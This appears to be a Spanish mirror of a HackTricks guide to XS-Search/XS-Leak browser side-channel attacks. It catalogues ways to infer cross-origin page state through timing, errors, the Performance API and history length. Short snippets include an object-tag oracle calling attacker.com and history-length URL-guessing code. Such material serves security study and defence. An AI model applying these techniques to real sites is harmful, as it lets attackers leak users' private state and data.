Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

96 KiB
Raw Blame History

XS-Search/XS-Leaks

Utiliza Trickest para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

XS-Search es una técnica orientada a exfiltrar información de origen cruzado abusando de ataques de canal lateral.

Hay diferentes elementos en este tipo de ataque:

  • Web vulnerable: Es la web desde donde queremos exfiltrar alguna información.
  • Web del atacante: Es la web que el atacante crea y que la víctima accede, y que contiene el exploit.
  • Método de inclusión: Es el método utilizado para cargar la web vulnerable desde la web del atacante (como window.open, iframe, fetch, etiqueta HTML con href...).
  • Técnica de filtración: Después de acceder a la web vulnerable, se utilizará una técnica para diferenciar entre los posibles estados de la web con la información obtenida del método de inclusión utilizado.
  • Estados: Los 2 posibles estados que puede tener la web vulnerable dependiendo de la víctima que queremos diferenciar.
  • Diferencias detectables: Esta es la información que el atacante tiene que intentar decidir el estado de la web vulnerable.

Diferencias detectables

Para distinguir entre los 2 estados de la página vulnerable, se pueden observar varias cosas:

  • Código de estado. Un atacante puede distinguir diferentes códigos de estado de respuesta HTTP de origen cruzado (por ejemplo, errores del servidor, errores del cliente o errores de autenticación).
  • Uso de API. Esta diferencia detectable permite a un atacante detectar el uso de API web en diferentes páginas, lo que le permite inferir si una página de origen cruzado está utilizando una API web JavaScript específica.
  • Redirecciones. Es posible detectar si una aplicación web ha redirigido al usuario a una página diferente. Esto no se limita a las redirecciones HTTP, sino que también incluye redirecciones desencadenadas por JavaScript o HTML.
  • Contenido de la página. Estas diferencias detectables aparecen en el cuerpo de la respuesta HTTP en sí o en los subrecursos incluidos por la página. Por ejemplo, esto podría ser el número de frames incluidos (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
  • Encabezado HTTP. Un atacante puede detectar la presencia de un encabezado de respuesta HTTP específico y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
  • Tiempo: Un atacante puede detectar que existe una diferencia de tiempo consistente entre 2 estados.

Métodos de inclusión

  • Elementos HTML. HTML ofrece una variedad de elementos que permiten la inclusión de recursos de origen cruzado. Elementos como hojas de estilo, imágenes o scripts obligan al navegador de la víctima a solicitar un recurso no HTML especificado. Hay una lista que enumera los posibles elementos HTML para este propósito disponible en línea (https://github.com/cure53/HTTPLeaks).
  • Frames. Elementos como iframe, object y embed pueden incrustar recursos HTML adicionales directamente en la página del atacante. Si la página no utiliza protección de enmarcado, el código JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
  • Ventanas emergentes. El método window.open carga un recurso en una nueva pestaña o ventana del navegador. El método devuelve un identificador de ventana que el código JavaScript puede usar para acceder a métodos y propiedades que cumplen con la SOP. Estas ventanas emergentes se utilizan a menudo en inicio de sesión único. Los navegadores modernos solo permiten ventanas emergentes si son desencadenadas por ciertas interacciones del usuario. Para los ataques de XS-Leak, este método es especialmente útil porque evita las restricciones de enmarcado y cookies para un recurso objetivo. Las versiones más recientes de los navegadores recientemente agregaron medios para aislar los identificadores de ventana.
  • Solicitudes de JavaScript. JavaScript permite enviar solicitudes directamente a recursos objetivo. Hay dos formas diferentes para este propósito: XMLHttpRequests y su sucesor Fetch API. A diferencia de los métodos de inclusión anteriores, un atacante tiene un control detallado sobre la solicitud emitida, por ejemplo, si se debe seguir automáticamente una redirección HTTP.

Técnicas de filtración

  • Manejador de eventos. El manejador de eventos puede considerarse como la técnica clásica de filtración para XS-Leaks. Son una fuente conocida de varias piezas de información. Por ejemplo, el desencadenante de onload indica una carga exitosa de recursos en contraste con el evento onerror.
  • Mensajes de error. Más allá de los manejadores de eventos, los mensajes de error pueden ocurrir como excepciones de JavaScript y páginas de error especiales. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de filtración. La técnica de filtración puede usar información adicional contenida directamente en el mensaje de error, o distinguir entre la aparición y ausencia de un mensaje de error.
  • Límites globales. Cada computadora tiene sus límites físicos, al igual que un navegador. Por ejemplo, la cantidad de memoria disponible limita las pestañas en ejecución de un navegador. Lo mismo ocurre con otros límites del navegador que se aplican a todo el navegador. Si un atacante puede determinar cuándo se alcanza el límite, esto puede usarse como una técnica de filtración.
  • Estado global. Los navegadores tienen estados globales con los que todas las páginas pueden interactuar. Si esta interacción es detectable desde el sitio web de un atacante, puede usarse como una técnica de filtración. Por ejemplo, la interfaz History permite la manipulación de las páginas visitadas en una pestaña o marco. Esto crea un estado global porque el número de entradas permite a un atacante sacar conclusiones sobre las páginas de origen cruzado.
  • API de rendimiento. La API de rendimiento se utiliza para acceder a la información de rendimiento de la página actual. Sus entradas incluyen datos detallados de temporización de red para el documento y cada recurso cargado por la página. Esto permite a un atacante sacar conclusiones sobre los recursos solicitados. Por ejemplo, identificamos casos en los que los navegadores no crearán entradas de rendimiento para algunas solicitudes.
  • Atributos legibles. HTML tiene varios atributos que se pueden leer de origen cruzado. Este acceso de lectura se puede utilizar como una técnica de filtración. Por ejemplo, el código JavaScript puede leer el número de marcos incluidos en una página web de origen cruzado con la propiedad window.frame.length.

Técnicas basadas en tiempo

Algunas de las siguientes técnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.

Relojes: La API performance.now() permite a los desarrolladores obtener mediciones de tiempo de alta resolución.
Hay una cantidad considerable de API que los atacantes pueden abusar para crear relojes implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animaciones CSS y otros.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator es una herramienta automática para verificar navegadores contra varias filtraciones XS-Leaks explicadas en su documento: https://xsinator.com/paper.pdf
Puedes acceder a la herramienta en https://xsinator.com/

{% hint style="warning" %} Filtraciones XS excluidas: Tuvimos que excluir filtraciones XS que dependen de service workers ya que interferirían con otras filtraciones en XSinator. Además, elegimos excluir filtraciones XS que dependen de una configuración incorrecta y errores en una aplicación web específica. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos filtraciones XS basadas en tiempo ya que a menudo sufren de ser lentas, ruidosas e inexactas. {% endhint %}


Usa Trickest para construir y automatizar flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de manejador de eventos

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

El ejemplo de código intenta cargar objetos de scripts desde JS, pero también se pueden usar otros tags como objetos, hojas de estilo, imágenes, audios. Además, también es posible inyectar directamente la etiqueta y declarar los eventos onload y onerror dentro de la etiqueta (en lugar de inyectarla desde JS).

También hay una versión sin script de este ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargará attacker.com/?error.

Tiempo de carga

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tiempo de carga + Tarea pesada forzada

Esta técnica es similar a la anterior, pero el atacante también forzará alguna acción para que tome un tiempo relevante cuando la respuesta sea positiva o negativa y medirá ese tiempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tiempo de descarga/cierre de ventana

Los eventos unload y beforeunload se pueden utilizar para medir el tiempo que tarda en obtener un recurso. Esto funciona porque beforeunload se activa cuando el navegador realiza una nueva solicitud de navegación, mientras que unload se activa cuando esa navegación realmente ocurre. Debido a este comportamiento, es posible calcular la diferencia de tiempo entre estos dos eventos y medir el tiempo que tardó el navegador en completar la obtención del recurso.

Tiempo de marco con restricciones + carga

Si una página no tiene implementadas Protecciones de enmarcado, un atacante puede medir cuánto tiempo tarda en cargarse la página y todos los recursos secundarios a través de la red. Por defecto, el controlador onload de un iframe se invoca después de que se hayan cargado todos los recursos y se haya completado la ejecución de JavaScript. Sin embargo, un atacante puede eliminar el ruido de la ejecución de scripts incluyendo el atributo sandbox en el <iframe>. Este atributo bloquea muchas funciones, incluida la ejecución de JavaScript, lo que resulta en una medición casi pura de la red.

#ID + error + onload

  • Métodos de inclusión: Marcos
  • Diferencia detectable: Contenido de la página
  • Más información:
  • Resumen: Si puedes hacer que la página genere un error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
  • Ejemplo de código:

Supongamos que puedes insertar la página que tiene el contenido secreto dentro de un iframe.

Puedes hacer que la víctima busque el archivo que contiene "flag" utilizando un iframe (explotando un CSRF, por ejemplo). Dentro del iframe, sabes que el evento onload se ejecutará siempre al menos una vez. Luego, puedes cambiar la URL del iframe cambiando solo el contenido del hash dentro de la URL.

Por ejemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la primera URL se cargó correctamente, entonces, al cambiar la parte del hash de la URL, el evento onload no se activará nuevamente. Pero si la página tuvo algún tipo de error al cargarse, entonces el evento onload se activará nuevamente.

De esta manera, puedes distinguir entre una página cargada correctamente o una página que tiene un error al ser accedida.

Ejecución de JavaScript

  • Métodos de inclusión: Marcos
  • Diferencia detectable: Contenido de la página
  • Más información:
  • Resumen: Si la página devuelve el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podría establecer un código JS válido en el caso negativo, y cargar cada intento dentro de etiquetas <script>, de modo que en los casos negativos se ejecute el código del atacante, y en los casos afirmativos no se ejecute nada.
  • Ejemplo de código:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Métodos de inclusión: Elementos HTML
  • Diferencia detectable: Código de estado y encabezados
  • Más información: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumen: Los atacantes pueden observar cuando se aplica CORB si una respuesta devuelve un Content-Type protegido por CORB (y nosniff) con el código de estado 2xx, lo que resulta en que CORB elimine el cuerpo y los encabezados de la respuesta. Detectar esta protección permite a un atacante filtrar la combinación tanto del código de estado (éxito vs. error) como del Content-Type (protegido por CORB o no).
  • Ejemplo de código:

Consulte el enlace de más información para obtener más información sobre el ataque.

onblur

Es posible cargar una página dentro de un iframe y usar el #id_value para hacer que la página se enfoque en el elemento del iframe indicado, luego, si se activa una señal onblur, el elemento ID existe.
Puedes realizar el mismo ataque con etiquetas portal.

postMessage Broadcasts

  • Métodos de inclusión: Marcos, Ventanas emergentes
  • Diferencia detectable: Uso de la API
  • Más información: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumen: Recopilar información confidencial de un postMessage o utilizar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
  • Ejemplo de código: Cualquier código que escuche todos los postMessages.

Las aplicaciones a menudo utilizan postMessage broadcasts para compartir información con otros orígenes. Al escuchar estos mensajes, uno podría encontrar información confidencial (potencialmente si no se utiliza el parámetro targetOrigin). Además, el hecho de recibir algún mensaje puede ser utilizado como un oráculo (solo recibes este tipo de mensaje si has iniciado sesión).


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de límites globales

WebSocket API

Es posible identificar si, y cuántas, conexiones WebSocket utiliza una página objetivo. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.

Si un origen utiliza la cantidad máxima de objetos de conexión WebSocket, independientemente de su estado de conexión, la creación de nuevos objetos resultará en excepciones de JavaScript. Para ejecutar este ataque, el sitio web del atacante abre el sitio web objetivo en una ventana emergente o iframe y luego, después de que se haya cargado el sitio web objetivo, intenta crear el número máximo de conexiones WebSocket posibles. El número de excepciones lanzadas es el número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo.

Payment API

Esta XS-Leak permite a un atacante detectar cuándo una página de origen cruzado inicia una solicitud de pago.

Debido a que solo puede haber una solicitud de pago activa al mismo tiempo, si el sitio web objetivo está utilizando la API de solicitud de pago, cualquier intento posterior de mostrar esta API fallará y provocará una excepción de JavaScript. El atacante puede aprovechar esto intentando periódicamente mostrar la interfaz de la API de pago. Si un intento provoca una excepción, significa que el sitio web objetivo la está utilizando. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz después de crearla.

Timing the Event Loop

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

El modelo de concurrencia de JavaScript se basa en un bucle de eventos de un solo hilo, lo que significa que solo puede ejecutar una tarea a la vez.
Inferir cuánto tiempo tarda en ejecutarse el código de un origen diferente midiendo cuánto tiempo tarda en ejecutarse el siguiente en el grupo de eventos. El atacante sigue enviando eventos al bucle de eventos con propiedades fijas, que eventualmente se despacharán si el grupo está vacío. Otros orígenes despachan eventos al mismo grupo, y aquí es donde un atacante infiere la diferencia de tiempo al detectar si ocurrió un retraso con una de sus tareas.

{% hint style="warning" %} En una medición de tiempo de ejecución, es posible eliminar los factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Bucle de Eventos Ocupado

  • Métodos de Inclusión:
  • Diferencia Detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumen: Mide el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y cronometrando cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos.
  • Ejemplo de código:

Una de las principales ventajas de esta técnica es su capacidad para eludir el Aislamiento del Sitio, ya que un origen atacante puede influir en la ejecución de otro origen.

{% hint style="warning" %} En una medición de tiempo de ejecución, es posible eliminar los factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Pool de Conexiones

  • Métodos de Inclusión: Solicitudes JavaScript
  • Diferencia Detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Resumen: Un atacante podría bloquear todos los sockets excepto uno, cargar la página objetivo y al mismo tiempo cargar otra página, el tiempo hasta que la última página comienza a cargarse es el tiempo que la página objetivo tardó en cargarse.
  • Ejemplo de código:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Los navegadores utilizan sockets para comunicarse con los servidores. Como el sistema operativo y el hardware en el que se ejecuta tienen recursos limitados, los navegadores tienen que imponer un límite. Para explotar la existencia de este límite, los atacantes pueden:

  1. Verificar cuál es el límite del navegador, por ejemplo, 256 sockets globales.
  2. Bloquear 255 sockets durante un largo período de tiempo realizando 255 solicitudes a diferentes hosts que simplemente cuelgan la conexión.
  3. Utilizar el socket 256 realizando una solicitud a la página objetivo.
  4. Realizar una solicitud 257 a otro host. Dado que todos los sockets están siendo utilizados (en los pasos 2 y 3), esta solicitud debe esperar hasta que el pool reciba un socket disponible. Este período de espera proporciona al atacante el tiempo de sincronización de red del socket 256, que pertenece a la página objetivo. Esto funciona porque los 255 sockets en el paso 2 todavía están bloqueados, por lo que si el pool recibió un socket disponible, fue causado por la liberación del socket en el paso 3. El tiempo de liberación del socket 256 está directamente relacionado con el tiempo que tarda en completarse la solicitud.

Para obtener más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Conexiones por Destino

  • Métodos de Inclusión: Solicitudes JavaScript
  • Diferencia Detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información:
  • Resumen: Es como la técnica anterior, pero en lugar de utilizar todos los sockets, Google Chrome establece un límite de 6 solicitudes simultáneas al mismo origen. Si bloqueamos 5 y luego lanzamos una sexta solicitud, podemos cronometrarla y si logramos hacer que la página víctima envíe más solicitudes al mismo punto final para detectar un estado de la página, la sexta solicitud tardará más tiempo y podremos detectarlo.

Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de la API de Rendimiento

La API de Rendimiento proporciona acceso a información relacionada con el rendimiento mejorada por los datos de la API de Tiempo de Recursos, que proporciona los tiempos de las solicitudes de red, como la duración, pero cuando el servidor envía una cabecera Timing-Allow-Origin: *, también se proporciona el tamaño de transferencia y el tiempo de búsqueda de dominio.
Estos datos se pueden acceder utilizando performance.getEntries o performance.getEntriesByName. También se puede utilizar para obtener el tiempo de ejecución utilizando la diferencia de performance.now(), sin embargo, esto parece ser menos preciso para una solicitud de Chrome porque solo proporciona los milisegundos.

Esta API se puede utilizar para medir el tiempo de una solicitud o para detectar el uso de X-Frame-Options, ya que la página bloqueada no se agregará al objeto performance en Chrome.

Fuga de Errores

Es posible diferenciar entre los códigos de estado de respuesta HTTP porque las solicitudes que conducen a un error no crean una entrada de rendimiento.

Error de Recarga de Estilo

En la técnica anterior también se identificaron dos casos en los que los errores en el recolector de basura del navegador llevan a que los recursos se carguen dos veces cuando no se pueden cargar. Esto resultará en múltiples entradas en la API de Rendimiento y, por lo tanto, se pueden detectar.

Error de Fusión de Solicitudes

La técnica se encontró en una tabla en el documento mencionado, pero no se encontró una descripción de la técnica en él. Sin embargo, puedes encontrar el código fuente que lo verifica en https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Fuga de Página Vacía

Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las páginas vacías no crean una entrada de rendimiento en algunos navegadores.

Fuga de XSS-Auditor

En SA, es posible detectar si se activó el XSSAuditor y, por lo tanto, filtrar información confidencial. El XSS-Auditor es una función incorporada de SA y GC (ahora eliminada) diseñada para mitigar los ataques de Cross-Site Scripting (XSS). En 2013, Braun y Heiderich [7] demostraron que el XSS-Auditor se puede utilizar para bloquear scripts benignos con falsos positivos. Basándose en su técnica, los investigadores filtran información y detectan contenido específico en una página de origen cruzado. Estas XS-Leaks se describieron por primera vez en un informe de errores de Terada y luego en una publicación de blog de Heyes. Sin embargo, las técnicas descubiertas solo se aplican al XSS-Auditor en GC y no funcionan en SA. Descubrimos que las páginas bloqueadas no crearán entradas de Performance API. Esto significa que un atacante aún puede filtrar información confidencial con el XSS-Auditor en SA.

Fuga de X-Frame

Si una página no está permitida para ser renderizada en un iframe, no crea una entrada de rendimiento. Como resultado, un atacante puede detectar el encabezado de respuesta X-Frame-Options.
Lo mismo ocurre si se utiliza una etiqueta embed.

Detección de Descargas

Similar a la XS-Leak descrita, un recurso que se descarga debido al encabezado ContentDisposition, tampoco crea una entrada de rendimiento. Esta técnica funciona en todos los principales navegadores.

Fuga de Inicio de Redireccionamiento

Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en SA es posible detectar si el usuario es redirigido por la página de destino, consultando la Performance API y verificando los datos de temporización de redirectStart.

Fuga de Redireccionamiento de Duración

En GC, la duración de las solicitudes que resultan en un redireccionamiento es negativa y, por lo tanto, se puede distinguir de las solicitudes que no resultan en un redireccionamiento.

Fuga de información de CORP

En algunos casos, la entrada nextHopProtocol se puede utilizar como técnica de fuga. En GC, cuando se establece el encabezado CORP, el nextHopProtocol estará vacío. Tenga en cuenta que SA no creará ninguna entrada de rendimiento para los recursos habilitados para CORP.

Trabajador de servicio

Los trabajadores de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y almacenar en caché recursos para crear aplicaciones web sin conexión.
Si un recurso almacenado en caché por un trabajador de servicio se accede a través de un iframe, el recurso se cargará desde la caché del trabajador de servicio.
Para detectar si el recurso se cargó desde la caché del trabajador de servicio, se puede utilizar la API de rendimiento.
Esto también se puede hacer con un ataque de temporización (consulte el documento para obtener más información).

Caché

Usando la API de rendimiento, es posible verificar si un recurso está en caché.
Para obtener más información: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Duración de la red

Técnica de mensajes de error

Error de medios

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

La propiedad de mensaje de la interfaz MediaError contiene una cadena diferente para los recursos que se cargan correctamente. Esto permite a un atacante inferir el estado de respuesta de un recurso de origen cruzado.

Error de CORS

Esta técnica permite a un atacante filtrar el destino de una redirección iniciada por un sitio de origen cruzado.

CORS permite que los recursos web de acceso público se lean y utilicen desde cualquier sitio web. En los navegadores basados en Webkit, es posible acceder a los mensajes de error de CORS cuando falla una solicitud CORS. Un atacante puede enviar una solicitud habilitada para CORS a un sitio web objetivo que redirige según el estado del usuario. Cuando el navegador deniega la solicitud, la URL completa del destino de la redirección se filtra en el mensaje de error. Con este ataque, es posible detectar redirecciones, filtrar ubicaciones de redirección y parámetros de consulta sensibles.

Error de SRI

Un atacante puede filtrar el tamaño de las respuestas de origen cruzado debido a mensajes de error detallados.

El atributo de integridad define un hash criptográfico mediante el cual el navegador puede verificar que un recurso obtenido no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI, por sus siglas en inglés). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDN). Para evitar fugas de datos, los recursos de origen cruzado deben estar habilitados para CORS. De lo contrario, la respuesta no es elegible para la validación de integridad. Similar al error de CORS XS-Leak, es posible capturar el mensaje de error después de una solicitud fetch con un atributo de integridad que falla. Un atacante puede provocar intencionalmente este error en cualquier solicitud especificando un valor de hash falso. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede utilizar esta filtración para detectar diferencias en el tamaño de la respuesta, lo que permite poderosos ataques XS-Leak.

Violación/Detección de CSP

Un XS-Leak puede utilizar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta filtración puede detectar la redirección, pero además, se filtra el dominio del destino de la redirección. La idea básica de este ataque es permitir el dominio objetivo en el sitio del atacante. Una vez que se emite una solicitud al dominio objetivo, este se redirige a un dominio de origen cruzado. El CSP bloquea el acceso a él y crea un informe de violación utilizado como técnica de filtración. Dependiendo del navegador, este informe puede filtrar la ubicación objetivo de la redirección.
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.

Caché

Los navegadores pueden utilizar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha solicitado un archivo específico.

Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes invalidar el recurso (para que ya no esté en caché si lo estaba, consulta los enlaces de información adicional), realizar una solicitud que podría cargar ese recurso e intentar cargar el recurso con una solicitud incorrecta (por ejemplo, utilizando un encabezado de referer demasiado largo). Si la carga del recurso no desencadena ningún error, es porque está en caché.

Directiva CSP

Una nueva función en GC permite que las páginas web propongan una CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, de lo contrario se muestra una página de error. Sin embargo, si el iframe ya envía una CSP y la nueva política no es más estricta, la página se mostrará normalmente.

Esto permite a un atacante detectar directivas CSP específicas de una página de origen cruzado, si es posible detectar la página de error. Aunque este error ahora está marcado como solucionado, encontramos una nueva técnica de filtración que puede detectar la página de error, porque el problema subyacente nunca se solucionó.

CORP

El encabezado CORP es una característica de seguridad relativamente nueva en la plataforma web que, cuando se establece, bloquea las solicitudes de origen cruzado sin cors al recurso especificado. La presencia del encabezado puede ser detectada, ya que un recurso protegido con CORP arrojará un error al ser obtenido.

CORB

Consulte el enlace de más información para obtener más detalles sobre el ataque.

Error CORS en la mala configuración de reflexión de origen

En caso de que el encabezado de origen se esté reflejando en el encabezado Access-Control-Allow-Origin, un atacante puede aprovechar este comportamiento para intentar obtener el recurso en modo CORS. Si no se produce un error, significa que se obtuvo correctamente desde la web; si se produce un error, significa que se accedió desde la caché (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).
Tenga en cuenta que si el origen no se refleja pero se utiliza un comodín (Access-Control-Allow-Origin: *), esto no funcionará.

Técnica de atributos legibles

Redirección Fetch

Al enviar una solicitud utilizando la Fetch API con redirect: "manual" y otros parámetros, es posible leer el atributo response.type y si es igual a opaqueredirect, entonces la respuesta fue una redirección.

COOP

Un atacante puede filtrar si el encabezado de Política de Apertura de Origen Cruzado (COOP) está disponible en una respuesta HTTP de origen cruzado.

Las aplicaciones web pueden implementar el encabezado de respuesta COOP para evitar que otros sitios web obtengan referencias de ventana arbitrarias de la aplicación. Sin embargo, este encabezado puede ser detectado fácilmente al intentar leer la referencia contentWindow. Si un sitio solo implementa COOP en un estado, esta propiedad (opener) es indefinida; de lo contrario, está definida.

Longitud máxima de URL - Lado del servidor

Si una redirección del lado del servidor utiliza datos del usuario dentro de la redirección y datos adicionales, es posible detectar este comportamiento porque generalmente los servidores tienen un límite de longitud de solicitud. Si los datos del usuario tienen esa longitud - 1, debido a que la redirección está utilizando esos datos y agregando algo adicional, se producirá un error detectable a través de eventos de error.

Si de alguna manera puede establecer cookies para un usuario, también puede realizar este ataque mediante la configuración de suficientes cookies (cookie bomba) para que, con el aumento del tamaño de la respuesta correcta, se produzca un error. En este caso, recuerde que si desencadena esta solicitud desde el mismo sitio, <script> enviará automáticamente las cookies (para que pueda verificar los errores).
Un ejemplo de cookie bomba + XS-Search se puede encontrar en la solución prevista de este informe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None o estar en el mismo contexto generalmente se necesita para este tipo de ataque.

Longitud máxima de URL - Lado del cliente

Según la documentación de Chromium, la longitud máxima de URL de Chrome es de 2MB.

En general, la plataforma web no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). Chrome limita las URL a una longitud máxima de 2MB por razones prácticas y para evitar problemas de denegación de servicio en la comunicación entre procesos.

Por lo tanto, si la URL de redirección respondida es más grande en uno de los casos, es posible hacer que redirija con una URL mayor a 2MB para alcanzar el límite de longitud. Cuando esto sucede, Chrome muestra una página about:blank#blocked.

La diferencia notable es que si la redirección se completó, window.origin arroja un error porque un origen cruzado no puede acceder a esa información. Sin embargo, si se alcanzó el límite y la página cargada fue about:blank#blocked, el origin de la ventana sigue siendo el del padre, lo cual es una información accesible.

Toda la información adicional necesaria para alcanzar los 2MB se puede agregar a través de un hash en la URL inicial para que se use en la redirección.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Máximo de redirecciones

Si el número máximo de redirecciones que puede seguir un navegador es de 20, un atacante podría intentar cargar su página con 19 redirecciones y finalmente enviar a la víctima a la página probada. Si se desencadena un error, significa que la página intentaba redirigir a la víctima.

Longitud del historial

La API de historial permite que el código JavaScript manipule el historial del navegador, que guarda las páginas visitadas por un usuario. Un atacante puede usar la propiedad de longitud como método de inclusión: para detectar navegaciones de JavaScript y HTML.
Al verificar history.length, haciendo que un usuario navegue a una página, cambiándola de nuevo a la misma origen y verificando el nuevo valor de history.length.

Longitud del historial con la misma URL

  • Métodos de inclusión: Frames, Pop-ups
  • Diferencia detectable: Si la URL es la misma que la adivinada
  • Resumen: Es posible adivinar si la ubicación de un frame/pop-up está en una URL específica abusando de la longitud del historial.
  • Ejemplo de código: A continuación

Un atacante podría usar código JavaScript para manipular la ubicación del frame/pop-up a una adivinada e inmediatamente cambiarla a about:blank. Si la longitud del historial aumenta, significa que la URL era correcta y tuvo tiempo de aumentar porque la URL no se recarga si es la misma. Si no aumenta, significa que intentó cargar la URL adivinada pero debido a que inmediatamente después cargamos about:blank, la longitud del historial nunca aumentó al cargar la URL adivinada.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Conteo de Marcos

